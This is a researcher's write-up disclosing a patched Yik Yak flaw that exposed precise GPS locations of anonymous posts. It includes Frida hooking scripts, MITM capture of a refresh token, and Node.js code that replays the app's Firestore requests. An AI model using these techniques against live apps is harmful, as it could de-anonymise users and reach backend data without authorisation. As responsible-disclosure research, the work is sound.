Yik Yak Vulnerability Exposed Precise GPS Locations: Analysis

Mika Melikyan
9 min readMay 17, 2022

--

TLDR: The popular Yik Yak anonymous social network contained a sensitive information disclosure vulnerability that could allow an attacker to de-anonymize the user’s precise location and unique identifier.

Preface

Yik Yak is an iOS app that allows users to anonymously (the app never explicitly uses the word “anonymous” in the marketing, but that is essentially the purpose of the app) post and comment on messages within a 5 mile radius of their location. The app is marketed largely as a proximity social network for university campuses. At the time of writing, the app is free to use and is available on the iOS App Store. Android platform was not supported at the time of research, therefore the analysis of the app was made significantly more difficult.

Good Faith Statement

Yik Yak’s terms of service prohibits decompiling/disassembling/modifying the app. Before publishing this analysis, Yik Yak, Inc was privately made aware of all vulnerabilities and security flaws within the app that I have discovered. No bounty was paid as the initial analysis was conducted in good faith with the sole purpose of preventing future abuse. As the company did not have any responsible disclosure policies, Yik Yak, Inc agreed to exempt me from the reverse-engineering clause in the ToS. Adequate time was provided to app’s developers to fix the issues. Furthermore, during the research, the reverse engineering consisted of repeating the exact behavior of the app and no unauthorized access was gained. This report is intended for educational purposes only.

Getting the .ipa

For this part of analysis, we’ll need a jailbroken iOS device. Extraction of the app’s binary without a jailbreak is not possible because iOS encrypts the binary while it’s not being used. The encrypted .ipa file is practically useless for any kind of analysis.

Retrieving the decrypted .ipa file is an easy process using a community tool called frida-ios-dump. Opening the Yik Yak application and following the repository instructions should yield the decrypted .ipa file. Make sure to install Frida from Cydia on the jailbroken iOS device.

$ ./dump.py com.yikyak.2

If successful, the .ipa file will be located in the same directory as the script. The unzipped .ipa file contains a lot of files, which will be useful to gain insights into the app.

Static Analysis

Let’s start with the basics. Browsing into the Payload folder we see the GoogleService-Info.plist. Note, this file contains API keys and other information which are not meant to be private. The API keys are used to authenticate the app with the Google servers can be safely stored in a publicly accessible location, as they're meant to be used as more of an app identifier, rather than a secret key.

This file contains the Google API key, which is used to authenticate the app with the Google servers. Now we know the app is possibly using Google Firebase.

Let’s make sure. Peek into the Frameworks folder.

We see a lot of Firebase frameworks. Now we are confident that the app is using FireStore, which is a NoSQL database offered as a service by Google Firebase.

In the Payload directory, we also see several .graphql files. These files contain the GraphQL queries used by the app, which we’ll come back to later.

Binary Analysis

Analyzing native Mach-O (arm64) binaries is a bit more involved. Let’s start with basics and search for strings in the binary that contain links.

$ strings -a -n 10 "Yik Yak" | grep -i "https"

Interestingly enough, there’s a GraphQL endpoint in the binary. Let’s navigate to the url and see what it looks like in our browser.

403 Forbidden, sad day for us. Let’s dig further.

Dynamic Analysis using Frida

Dynamic analysis will make things significantly easier for us. We will be able to interact with the app in real time and gain insights by looking at the app’s memory. We know the app is using Firebase. Let’s start exploring the app’s behavior using Frida trace.

$ frida-trace -U -m "*[FIR* *collection*]" -m "*[FIR* *document*]" -f "com.yikyak.2"

The -m attribute is used to trace specific Objective-C methods. In this case, the Firebase framework’s classes start with FIR and the methods we are interested in should contain the word collection or document. The star in the strings means we don’t care if it’s a static method or an instance method.

This command will launch the app and start tracing which functions are called by the app.

We see calls to instance methods called “collectionWithPath” and “documentWithPath”. These methods are used to create a reference to a FireStore collection or document.

We have two routes we can take.

First is to initiate a MITM attack and get the collection or document’s data. Following this path is difficult because of the sophisticated encryption and SSL pinning techniques used by Google Firebase. On top of that, FireStore library does not use the REST interface to talk to the Google servers. Instead, it uses gRPC which is significantly more complicated to trace. In my attempts to use MITM, I was unable to get the FireStore to respect the system proxy settings.

The second route is to use our good friend Frida to get the data from the collection or document. Let’s start by writing a simple javascript snippet to trace the calls to the collection and document methods and find the arguments passed to the functions documentWithPath and collectionWithPath.

var documentWithPath =
ObjC.classes.FIRCollectionReference["- documentWithPath:"];
var collectionWithPath = ObjC.classes.FIRFirestore["- collectionWithPath:"];
Interceptor.attach(documentWithPath.implementation, {
onEnter: function (args) {
var message = ObjC.Object(args[2]);
console.log(
'\n[FIRCollectionReference documentWithPath:@"' +
message.toString() +
'"]'
);
},
});
Interceptor.attach(collectionWithPath.implementation, {
onEnter: function (args) {
var message = ObjC.Object(args[2]);
console.log(
'\n[FIRFireStore collectionWithPath:@"' + message.toString() + '"]'
);
},
});

And now we run the script

$ frida --no-pause -U -l ./firestore-intercept.js -f com.yikyak.2 | tee firestore.log

After running the script, we see the following output:

So now we know there’s a collection named “Yaks”. We could’ve probably guessed this, but where’s the fun in that?

Firestore analysis

Now we know that the app is accessing the collection Yaks. We still don't know what's inside the documents. Let's start by writing a script to get the data from the collection, replicating the exact steps of the app. Sensitive information has been redacted.

import fetch from "node-fetch";let bundleId = "<REDACTED>";
let projectId = "<REDACTED>";
let userAgent = "<REDACTED>";
let xClientVersion = "<REDACTED>";

const bearer = await getBearer(); // <-we'll come back to this later
let headers = {
accept: "*/*",
"accept-language": "en-US,en;q=0.9",
"content-type": "application/json",
"X-Ios-Bundle-Identifier": bundleId,
"User-Agent": userAgent,
"X-Client-Version": xClientVersion,
Authorization: "Bearer " + bearer,
};
let collection = "Yaks";
let document = "";
let baseURL = "https://firestore.googleapis.com/v1beta1";
let path = `projects/${projectId}/databases/(default)/documents/${collection}/${document}`;
let method = "GET";
// make request
fetch(`${baseURL}/${path}`, {
method,
headers,
}).then((res) => {
res.json().then((body) => {
console.log(body);
});
});

And, uh-oh, we’re unauthorized. We need a Bearer token to access the FireStore.

Let’s write a script to fetch our bearer token and store it, so we don’t have to fetch it every single time.

Notice below how we’re not bypassing any authorization measures set by the YikYak app, we’re simply repeating what the app does, step-by-step, using our own account.

import jwt from "jsonwebtoken";
import fs from "fs";
import fetch from "node-fetch";
function getTokenFromFile(filename) {
// open the json file (filename) and return the token stored in the "bearer" column
// if the file doesn't exist, return null
const file = fs.readFileSync(filename, "utf8");
const json = JSON.parse(file);
return json.bearer;
}
async function updateToken() {
const headers = {
Host: "securetoken.googleapis.com",
"Content-Type": "application/json",
Accept: "*/*",
"X-Ios-Bundle-Identifier": "com.yikyak.2",
Connection: "keep-alive",
"X-Client-Version": "<REDACTED>",
"User-Agent": "<REDACTED>",
"Accept-Language": "en",
};
const body = {
grantType: "refresh_token",
refreshToken: "<REDACTED>",
};
const url = "https://securetoken.googleapis.com/v1/token?key=<REDACTED>";
const method = "POST";
const json = await fetch(url, {
method,
headers,
body: JSON.stringify(body),
}).then((res) => res.json());
// will be stored in the column "access_token"
const bearer = json.access_token;
const file = fs.readFileSync("token.json", "utf8");
const jsonContents = JSON.parse(file);
jsonContents.bearer = bearer;
fs.writeFileSync("token.json", JSON.stringify(jsonContents));
return bearer;
}
export default async function getBearer() {
// if the file doesn't exist, create it
if (!fs.existsSync("token.json")) {
fs.writeFileSync(
"token.json",
JSON.stringify({
bearer: "",
})
);
}
const token = getTokenFromFile("token.json");
const exp = jwt.decode(token)?.exp;
const now = new Date().getTime() / 1000;
if (!exp || now > exp) {
console.log("Token expired, updating...");
return updateToken();
}
return token;
}

In order for this helper script to work, we need to know our refreshToken, which can be found using a MITM proxy and searching for a request made to Google’s firebase authentication server.

Note that it's needed to wait a sufficient amount of time (in our case — 1 hour) before the token will expire and need to be refreshed so we can catch it. The refreshToken is an intermediate token which serves the purpose of getting a new JWT bearer token from the Firebase Authentication API. Refresh token can be intercepted easily using MITM proxy because the Firebase Authentication API does not use SSL pinning.

Now that we have the bearer token, we can use it to make the request to the Firestore.

🎉 Wow, we got data! 🎉

So, what do we have here?

By replicating the behavior of the YikYak app, we discover what the server responds when the YikYak app requests to load the feed. Of course, the app will not display all of this information on the client. But it’s important to note how many sensitive fields the server includes in the response.

The Yak’s precise GPS location is stored as lat and lng referring to the latitude and longitude of the location.

Even though I have censored the fields, The lat and lng GPS coordinates were saved to 15 decimal places, which meant that the app got the location directly from the iOS Geolocation API without any rounding or dither added. This meant that the coordinates could be as accurate as 5–10 meters.

🛑 And, the server response includes the exact GPS location of every single Yak in the feed.

That's not so anonymous, is it?

Luckily, the user’s name or phone number were not found in the breach.

⚠️ Yik Yak was made aware of this issue and it has received a patch. As of May 15th, 2022, sensitive information no longer appears to be transferred to the client. The location data appears to be rounded and random dither is added to preserve the privacy of the user.

Conclusion

Since the app is largely used on university campuses, big part of the Yik Yak’s audience are college students. We showed that app had a sensitive information disclosure vulnerability allowed an attacker to de-anonymize any “Yak” posted in the app’s feed. Yik Yak’s team was kind to gratefully acknowledge the research and the vulnerability.

What can you do to protect your privacy?

Starting from iOS 14.0, Apple has introduced a new feature that allows the user to share Approximate location, instead of the precise location. Regardless of any privacy-protecting measures that 3rd party apps might implement, iOS will guarantee that the app only receives an approximate location, which is sufficient enough for proximity-based chat to serve its purpose.

--

--

Mika Melikyan

I’m a software engineer and an independent security researcher based in California.